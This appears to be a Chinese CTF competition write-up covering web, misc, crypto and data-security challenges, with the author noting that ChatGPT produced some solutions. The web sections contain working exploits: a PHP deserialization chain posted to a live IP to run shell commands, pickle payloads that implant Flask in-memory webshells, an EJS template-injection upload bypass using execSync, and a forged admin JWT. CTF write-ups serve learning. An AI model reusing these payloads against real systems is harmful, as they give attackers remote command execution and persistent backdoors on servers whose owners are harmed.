Web 
  web1 ez_unserialize 
开胃小菜
 
<?php error_reporting (0 );highlight_file (__FILE__ );class  A   {    public  $first ;     public  $step ;     public  $next ;     public  function  __construct ( )  {         $this ->first = "继续加油!" ;     }     public  function  start ( )  {         echo  $this ->next;     } } class  E   {    private  $you ;     public  $found ;     private  $secret  = "admin123" ;     public  function  __get ($name  ) {         if ($name  === "secret" ) {             echo  "<br>" .$name ." maybe is here!</br>" ;             $this ->found->check ();         }     } } class  F   {    public  $fifth ;     public  $step ;     public  $finalstep ;     public  function  check ( )  {         if (preg_match ("/U/" ,$this ->finalstep)) {             echo  "仔细想想!" ;         }         else  {             $this ->step = new  $this ->finalstep ();             ($this ->step)();         }     } } class  H   {    public  $who ;     public  $are ;     public  $you ;     public  function  __construct ( )  {         $this ->you = "nobody" ;     }     public  function  __destruct ( )  {         $this ->who->start ();     } } class  N   {    public  $congratulation ;     public  $yougotit ;     public  function  __call (string  $func_name , array  $args  )  {         return  call_user_func ($func_name ,$args [0 ]);     } } class  U   {    public  $almost ;     public  $there ;     public  $cmd ;     public  function  __construct ( )  {         $this ->there = new  N ();         $this ->cmd = $_POST ['cmd' ];     }     public  function  __invoke ( )  {         return  $this ->there->system ($this ->cmd);     } } class  V   {    public  $good ;     public  $keep ;     public  $dowhat ;     public  $go ;     public  function  __toString ( )  {         $abc  = $this ->dowhat;         $this ->go->$abc ;         return  "<br>Win!!!</br>" ;     } } unserialize ($_POST ['payload' ]);?> 
 
交给AI梭一下反序列化 ,ChatGPT有时还是挺给力的
目标代码里 unserialize($_POST['payload']); 可控对象反序列化。我们观察到几处可利用的魔术方法/链:
H::__destruct() 会调用 $this->who->start() → 如果 who 是 A,A::start() 会 echo $this->next(对 next 进行字符串化) 
如果 next 是 V 对象,则 V::__toString() 被触发:它读取 $this->dowhat 到 $abc,再执行 $this->go->$abc 
如果 V->dowhat = "secret" 且 V->go 是 E 对象,那么对 E->secret 的访问会触发 E::__get(),里面会调用 $this->found->check() 
F::check() 会 new $this->finalstep()(如果 finalstep 中包含大写 U 会被 preg_match("/U/") 检出并中断),然后对新对象做 ($this->step)();(即调用对象的 __invoke) 
U::__invoke() 会调用 $this->there->system($this->cmd),而 there 是 N,N::__call 会把 system 转成全局 system() 调用,从而执行任意 shell 命令($_POST['cmd'] 被用作命令) 
 
关键绕过点:F::check 用了 preg_match("/U/",$this->finalstep)——只要把 finalstep 设为小写的 "u"(类名大小写在 PHP 中不敏感),就能绕过该检查并成功 new 'u'() 以实例化类 U
因此构造链(简化理解): 
H(where->who = A) -> A->next = V -> V->dowhat = "secret", V->go = E -> E->found = F -> F->finalstep = "u" 
同时 POST 包含 cmd=cat /flag。在脚本结束时 H::__destruct 触发,链路走通,最终调用 system('cat /flag')
<?php $url  = 'http://45.40.247.139:20983/' ; $cmd  = 'cat /flag' ;class  A  {    public  $first ;     public  $step ;     public  $next ;     public  function  __construct ( )      {        $this ->first = null ;     }     public  function  start ( )      {        echo  $this ->next;     } } class  E  {    private  $you ;     public  $found ;     private  $secret  = "admin123" ;     public  function  __get ($name  )      {        if  ($name  === "secret" ) {             echo  "<br>"  . $name  . " maybe is here!</br>" ;             $this ->found->check ();         }     } } class  F  {    public  $fifth ;     public  $step ;     public  $finalstep ;     public  function  check ( )      {        if  (preg_match ("/U/" , $this ->finalstep)) {             echo  "仔细想想!" ;         } else  {             $this ->step = new  $this ->finalstep ();             ($this ->step)();         }     } } class  H  {    public  $who ;     public  $are ;     public  $you ;     public  function  __construct ( )      {        $this ->you = "nobody" ;     }     public  function  __destruct ( )      {        $this ->who->start ();     } } class  N  {    public  $congratulation ;     public  $yougotit ;     public  function  __call (string  $func_name , array  $args  )      {        return  call_user_func ($func_name , $args [0 ]);     } } class  U  {    public  $almost ;     public  $there ;     public  $cmd ;     public  function  __construct ( )      {        $this ->there = new  N ();         $this ->cmd = $_POST ['cmd' ];     }     public  function  __invoke ( )      {        return  $this ->there->system ($this ->cmd);     } } class  V  {    public  $good ;     public  $keep ;     public  $dowhat ;     public  $go ;     public  function  __toString ( )      {        $abc  = $this ->dowhat;         $this ->go->$abc ;         return  "<br>Win!!!</br>" ;     } } $f  = new  F ();$f ->finalstep = 'u' ; $e  = new  E ();$e ->found = $f ;$v  = new  V ();$v ->dowhat = 'secret' ; $v ->go = $e ;$a  = new  A ();$a ->next = $v ;$h  = new  H ();$h ->who = $a ;$payload  = serialize ($h );$post  = array (    'payload'  => $payload ,     'cmd'  => $cmd , ); $ch  = curl_init ($url );curl_setopt ($ch , CURLOPT_RETURNTRANSFER, true );curl_setopt ($ch , CURLOPT_POST, true );curl_setopt ($ch , CURLOPT_POSTFIELDS, $post );$res  = curl_exec ($ch );$err  = curl_error ($ch );curl_close ($ch );if  ($res  === false ) {    echo  "cURL error: $err \n" ; } else  {     echo  "=== Response from server ===\n" ;     echo  $res  . "\n" ; } 
 
  web2 ezsignin* 
一个没写完的文件系统
 
  web3 ez_blog 
你能发现博客系统中的漏洞吗?
 
提示我们:访客只能用访客账号登录哦! 
弱口令:guest/guest
发现一个十六进制的Token,解码发现有guest is_admin的信息,想到要打pickle反序列化
打Flask内存马 
import  pickleclass  A ():    def  __reduce__ (self ):         return  (exec , ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen(request.args.get('cmd')).read())" ,))          a = A() b = pickle.dumps(a) print (b.hex ())
 
还有一些其他的钩子函数
return  (exec ,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)" ,))return  (exec ,("__import__('sys').modules['__main__'].__dict__['app'].teardown_request_funcs.setdefault(None, []).append(lambda error: __import__('os').popen(__import__('flask').request.args.get('cmd')).read())" ,))return  (exec ,("__import__('sys').modules['__main__'].__dict__['app'].teardown_appcontext_funcs.append(lambda error: __import__('os').popen(request.args.get('cmd')).read())" ,))return  (exec ,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()" ,))
 
  web4 auth_web* 
为了系统安全,我在自己的开源项目代码中加入了认证方式
 
我丢,虽然有jar反编译工具,但是懒啊……
  web5 staticNodeService 
http.server is a great tool. So I also created one using node.js
 
const express = require('express' ); const ejs = require('ejs' ); const fs = require('fs' ); const path = require('path' ); const app = express(); const PORT = parseInt(process.env.PORT) || 3000 ; app.set ('view engine' , 'ejs' ); app.use(express.json({     limit: '1mb'  })); const STATIC_DIR = path.join(__dirname, '/' ); // serve index for  better viewing function serveIndex(req, res) {     var templ = req.query.templ || 'index' ;     var lsPath = path.join(__dirname, req.path);     try  {         res.render(templ, {             filenames: fs.readdirSync(lsPath),             path: req.path         });     } catch (e) {         console.log(e);         res.status(500 ).send('Error rendering page' );     } } // static serve for  simply view/download app.use(express.static(STATIC_DIR)); // Security middleware app.use((req, res, next ) => {     if  (typeof req.path !== 'string'  ||         (typeof req.query.templ !== 'string'  && typeof req.query.templ !== 'undefined' )     ) res.status(500 ).send('Error parsing path' );     else  if  (/js$|\.\./i.test(req.path)) res.status(403 ).send('Denied filename' );     else  next (); }) // logic middleware app.use((req, res, next ) => {     if  (req.path.endsWith('/' )) serveIndex(req, res);     else  next (); }) // Upload operation handler app.put('/*' , (req, res) => {     const filePath = path.join(STATIC_DIR, req.path);     if  (fs.existsSync(filePath)) {         return  res.status(500 ).send('File already exists' );     }     fs.writeFile(filePath, Buffer.from (req.body.content, 'base64' ), (err) => {         if  (err) {             return  res.status(500 ).send('Error writing file' );         }         res.status(201 ).send('File created/updated' );     }); }); // Server start app.listen(PORT, () => {     console.log(`Static server is  running on http://localhost:${PORT}`); }); 
 
2024CISCN决赛web-ezjs修复版 ,甚至非预期(.ejs/.../)都给修了,目前的难题在于,如何绕过js$这个正则
可以通过express的路径规范化 特性,让/readflag.ejs/.,解析为/readflag.ejs,实现文件上传
然后就是模板注入 ,这里/flag给的是400 的权限,但是可以读/readflag
注意了,这里不要使用Python的request的put方法,它会在这一步就帮你提前路径规范化 了
import  socketimport  base64def  send_put_request ():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect(('127.0.0.1' , 3000 ))     content = '<%= global.process.mainModule.require(\'child_process\').execSync(\'/readflag\').toString() %>'      encoded_content = base64.b64encode(content.encode()).decode()     body = f'{{"content":"{encoded_content} "}}'      request = (         f"PUT /readflag.ejs/. HTTP/1.1\r\n"          f"Host: localhost:3000\r\n"          f"Content-Type: application/json\r\n"          f"Content-Length: {len (body)} \r\n"          f"Connection: close\r\n"          f"\r\n"          f"{body} "      )     s.send(request.encode())     response = b""      while  True :         chunk = s.recv(1024 )         if  not  chunk:             break          response += chunk     s.close()     return  response.decode() def  send_get_request ():    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     s.connect(('127.0.0.1' , 3000 ))     request = (         "GET /?templ=../readflag.ejs HTTP/1.1\r\n"          "Host: localhost:3000\r\n"          "Connection: close\r\n"          "\r\n"      )     s.send(request.encode())     response = b""      while  True :         chunk = s.recv(1024 )         if  not  chunk:             break          response += chunk     s.close()     return  response.decode() put_response = send_put_request() print ("PUT请求响应:" )print (put_response)print ("\n"  + "=" *50  + "\n" )get_response = send_get_request() print ("GET请求响应:" )print (get_response)
 
  web6 evil_login* 
can u login? 
hint: guest/guest1234
 
jwt伪造 ,python jwt_tool.py xxxx -C -d jwt_key.txt 
用字典爆出来admin123
工具:
改auth_token
auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.-M2fBkjjUddPWmGOAcZ9tDfpZBnCWlfrvIkaOQifNYk;  session=eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV19.aOp9iw.FpTLQhPK5QntjW-gd3PBsbM9Thk 
 
admin了然后呢?这session好像也没什么用,没有下一步的指示了,web也脑洞是吧……
  Misc 
  别笑,你试你也过不了第二关 
来试试闯关拿下flag吧!
 
请编写代码使字符串 hilogo 的内容为以下图案: 
 
这里应该是Python沙箱 ,那我们用简单的运算 拼接一下
a='#' *5 ;d='#   #' ;c=a+' ' ;p=c+' ' +a;l2="#        #    #   #  #      #      #   # #     #       #    #   #  #      #      #   #" ;b='   ###   #      #      ' ;q='  ' +d+'  ' +a+'  ' +a;l1=p+b+c*3 +a+b+a;l5=p+q+'  ' +(c*3 +a)+q+'  ' +a;l3=l2.replace(d,a);hilogo=f'{l1} \n{l2} \n{l3} \n{l2} \n{l5} '  
 
请编写 code 以输出前0x114514 个数的序数词后缀(小于37 长度): def  get_ordinal (n ):        if  10  <= n % 100  <= 20 :                 suffix = 'th'          else :                 suffix = ['st' , 'nd' , 'rd' , 'th' , 'th' , 'th' , 'th' , 'th' , 'th' , 'th' ][n % 10  - 1 ]                 return  suffix                              test_passed = True              user_function = eval (f"lambda n: {<span style='color: red;' >code</span>} " , {}, {})      for  i in  range (1 , 0x114514 ):    if  user_function(i) != get_ordinal(i):         test_passed = False  
 
第二关没打出来 
好吧,赛后发现原来是code golf的例题  
'tsnrhtdd'[n%5*(n%100^15>4>n%10)::4]
  misc3 成功男人背后的女人 
每个成功的男人背后都站着一个伟大的女人。
 
tweakpng看了一下,一开始像IDAT隐写 ,但也发现了大量的mkBT块 ,搜索发现是Adobe专属 的数据块,下个firework 
0 10001000100000101010011010000110 101010001000110011110110111011100110000011011010100010101001110 0 101111101100010011001010110100000110001011011100100010001011111 0 1001101010001010110111001111101
 
DASCTF{w0mEN_beh1nD_MEn}
  Crypto 
  瑞德的一生 
瑞德的一生坎坷,你能不能帮帮他
 
from  Crypto.Util.number import  *from  gmpy2 import  legendrefrom  secret import  flagm = bytes_to_long(flag) p, q = getPrime(256 ), getPrime(256 ) n = p * q x = getRandomRange(0 , n) while  legendre(x, p) != -1  or  legendre(x, q) != -1 :    x = getRandomRange(0 , n) def  encrypt (msg , n, x ):    y = getRandomRange(0 , n)      enc = []     while  msg:         bit = msg & 1          msg >>= 1          enc.append((pow (y, 2 ) * pow (x, bit)) % n)         y += getRandomRange(1 , 2 **48 )     return  enc with  open ('output.txt' , 'w' ) as  file:    file.write(f"n = {n} \n" )     file.write(f"x = {x} \n" )     file.write(f"enc = {encrypt(m, n, x)} \n" ) 
 
github搜索关键代码enc.append((pow(y, 2) * pow(x, bit)) % n)就是原题 
from  Crypto.Util.number import  *from  tqdm import  tqdmexec (open ('output.txt' ).read())def  resultant (f1, f2, var ):    return  Matrix(f1.sylvester_matrix(f2, var)).determinant() pgcd = lambda  g1, g2: g1.monic() if  not  g2 else  pgcd(g2, g1%g2) P.<y, k> = PolynomialRing(Zmod(n)) p1 = x * y^2  - enc[0 ] p2 = (y + k)^2  - enc[1 ] p3 = resultant(p1, p2, y) k = min (p3.univariate_polynomial().monic().small_roots()) P.<y> = PolynomialRing(Zmod(n)) p1 = x * y^2  - enc[0 ] p2 = (y + k)^2  - enc[1 ] p4 = pgcd(p1, p2) y = n - p4.coefficients()[0 ] flag = 0  P.<k> = PolynomialRing(Zmod(n)) for  c in  tqdm(enc[::-1 ]):    flag <<= 1      poly = x * (y+k)^2  - c     if  len (poly.monic().small_roots()):         flag += 1  print (long_to_bytes(flag))
 
  Ridiculous LFSR* 
What? You call this LFSR?
 
from  Crypto.Util.number import  *from  random import  *from  os import  urandomfrom  secret import  flagflag = flag.strip(b"DASCTF{" ).strip(b"}" ) m = bytes_to_long(flag) LENGTH = m.bit_length() class  LFSR ():    def  __init__ (self,length ):         self.seed = urandom(32 )         self.length = length         seed(self.seed)     def  next (self ):         return  getrandbits(self.length) def  rotate (msg,l=1  ):    temp = bin (msg)[2 :].zfill(LENGTH)     return  int (temp[l:] + temp[:l],2 ) lfsr = LFSR(LENGTH) c = [] l = [] for  i in  range (200 ):    temp = lfsr.next ()     c.append(temp ^ m)     l.append(bin (temp)[2 :].count("1" ))     m = rotate(m) with  open ("output.txt" ,"w" ) as  f:    f.write("LENGTH = "  + str (LENGTH) + "\n" )     f.write("c = "  + str (c) + "\n" )     f.write("l = "  + str (l) + "\n" ) 
 
发现有AI梭哈的wp,ChatGPT-Pro这么吊吗?哈人
  DS&Ai 
  DS&Ai1 SM4-OFB 
我得到了由某个密钥加密过的部分数据,其中,已知第一条记录的明文为: 
蒋宏玲         17145949399         220000197309078766 
你能帮我解密所有数据吗?将"何浩璐"的身份证号的md5值作为flag提交
 
ChatGPT一把梭
SM4-OFB 是流式模式:对每个字段用相同的 IV/密钥从 IV 产生的 keystream 与明文异或得到密文 
利用已知明文(第一条记录的姓名/手机号/身份证),把对应的密文 XOR 明文 得到三个字段的 keystream 
用得到的 keystream 分别 XOR 所有记录对应字段的密文,得到所有记录的明文
""" decrypt_sm4_ofb_known_plaintext.py 说明: 该脚本演示如何在 SM4-OFB(流模式)下,利用已知明文(known-plaintext)恢复 keystream 并解密表格中其它记录。 脚本假定每个密文字段以 hex 字符串形式存储,IV 以 hex 存储(同一 IV 或同一密钥下的不同记录可能相同)。 输出: - 在终端打印目标姓名对应的身份证号与 MD5 - 保存一个解密后的 CSV(如果指定 --out) 注意: - 该方法**并不需要**知道 SM4 密钥或直接执行 SM4 算法;因为 OFB 模式下密文 = 明文 XOR keystream(流),知道任意明文-密文对可恢复对应位置的 keystream,进而解密其它使用相同 keystream 的密文。 - 如果不同列或不同记录使用不同的 keystream(例如不同 IV 或不同密钥),则需要分别用对应的已知明文恢复每个 keystream。本脚本默认第一条记录(--known-row)为已知,并用该记录的姓名/手机号/身份证恢复 3 个 keystream,分别用于解密对应列的所有记录。 """ import  argparseimport  binasciiimport  hashlibimport  pandas as  pdimport  sysdef  hex_to_bytes (s ):         if  s is  None :         return  b''      s = str (s).strip()     if  s == '' :         return  b''           if  s.startswith('0x' ) or  s.startswith('0X' ):         s = s[2 :]     return  binascii.unhexlify(s) def  derive_keystream_from_pair (cipher_hex, plaintext, encoding='utf-8'  ):    c = hex_to_bytes(cipher_hex)     p = plaintext.encode(encoding)     if  len (p) > len (c):         raise  ValueError("已知明文字节长度大于对应密文长度,无法直接派生密钥流" )          p_padded = p + b"\x00"  * (len (c) - len (p))     ks = bytes (a ^ b for  a, b in  zip (c, p_padded))     return  ks def  decrypt_with_keystream (cipher_hex, ks, encoding='utf-8'  ):    c = hex_to_bytes(cipher_hex)          n = min (len (c), len (ks))     pt_bytes = bytes (a ^ b for  a, b in  zip (c[:n], ks[:n]))     try :         s = pt_bytes.decode(encoding)     except  Exception:         s = pt_bytes.decode(encoding, errors='ignore' )          s = s.rstrip('\x00' ).strip()     return  s def  main (argv=None  ):    p = argparse.ArgumentParser()     p.add_argument('--input' , '-i' , required=True , help ='输入 Excel/CSV 文件路径(支持 xlsx/xls/csv)' )     p.add_argument('--known-row' , type =int , default=0 , help ='已知明文所在行(0-based 索引),默认 0' )     p.add_argument('--known-name' , required=True , help ='已知行的姓名明文' )     p.add_argument('--known-phone' , required=True , help ='已知行的手机号明文' )     p.add_argument('--known-id' , required=True , help ='已知行的身份证号明文' )     p.add_argument('--name-col' , default='姓名' , help ='姓名列名,默认 "姓名"' )     p.add_argument('--phone-col' , default='手机号' , help ='手机号列名,默认 "手机号"' )     p.add_argument('--id-col' , default='身份证号' , help ='身份证列名,默认 "身份证号"' )     p.add_argument('--iv-col' , default='IV' , help ='IV 列名,若无也可不动,默认 "IV"' )     p.add_argument('--target-name' , default=None , help ='想要查询并输出 MD5 的目标姓名(例如 "何浩璐")' )     p.add_argument('--out' , default=None , help ='可选:解密后保存的 CSV 路径' )     args = p.parse_args(argv)          if  args.input .lower().endswith('.csv' ):         df = pd.read_csv(args.input , dtype=str )     else :         df = pd.read_excel(args.input , dtype=str )          df = df.fillna('' )          try :         c_name = df.at[args.known_row, args.name_col]         c_phone = df.at[args.known_row, args.phone_col]         c_id = df.at[args.known_row, args.id_col]     except  Exception as  e:         print ('无法在表中找到指定列或行:' , e)         sys.exit(2 )          ks_name = derive_keystream_from_pair(c_name, args.known_name)     ks_phone = derive_keystream_from_pair(c_phone, args.known_phone)     ks_id = derive_keystream_from_pair(c_id, args.known_id)          dec_names = []     dec_phones = []     dec_ids = []     for  _, row in  df.iterrows():         dec_names.append(decrypt_with_keystream(row.get(args.name_col, '' ), ks_name))         dec_phones.append(decrypt_with_keystream(row.get(args.phone_col, '' ), ks_phone))         dec_ids.append(decrypt_with_keystream(row.get(args.id_col, '' ), ks_id))     df['_dec_name' ] = dec_names     df['_dec_phone' ] = dec_phones     df['_dec_id' ] = dec_ids          if  args.target_name:         hits = df[df['_dec_name' ] == args.target_name]         if  len (hits) == 0 :             print (f'未找到目标姓名: {args.target_name} ' )         else :             for  idx, r in  hits.iterrows():                 idval = r['_dec_id' ]                 md5 = hashlib.md5(idval.encode('utf-8' )).hexdigest()                 print ('---' )                 print ('行索引:' , idx)                 print ('姓名:' , r['_dec_name' ])                 print ('手机号:' , r['_dec_phone' ])                 print ('身份证号:' , idval)                 print ('身份证 MD5:' , md5)          if  args.out:                  outdf = df.copy()         outdf.to_csv(args.out, index=False , encoding='utf-8-sig' )         print ('已保存解密后的表到:' , args.out) if  __name__ == '__main__' :    main() 
 
python3 exp.py \ --input 个人信息表.xlsx \ --known-row 0 \ --known-name "蒋宏玲"  \ --known-phone 17145949399 \ --known-id 220000197309078766 \ --target-name "何浩璐"  \ --out decrypted.csv 
 
行索引: 859  姓名: 何浩璐 手机号: 14736125420  身份证号: 120000197404101676  身份证 MD5: fbb80148b75e98b18d65be446f505fcc 
 
这个方向ChatGPT-Pro也能梭很多题,可惜牟钱啊
  else 
没落的Sloth,没什么人打比赛了,今年圈圈都不在校队打了,小凳没一个报名的,就这样吧……
后面等大佬的wp出来,再学学web的思路……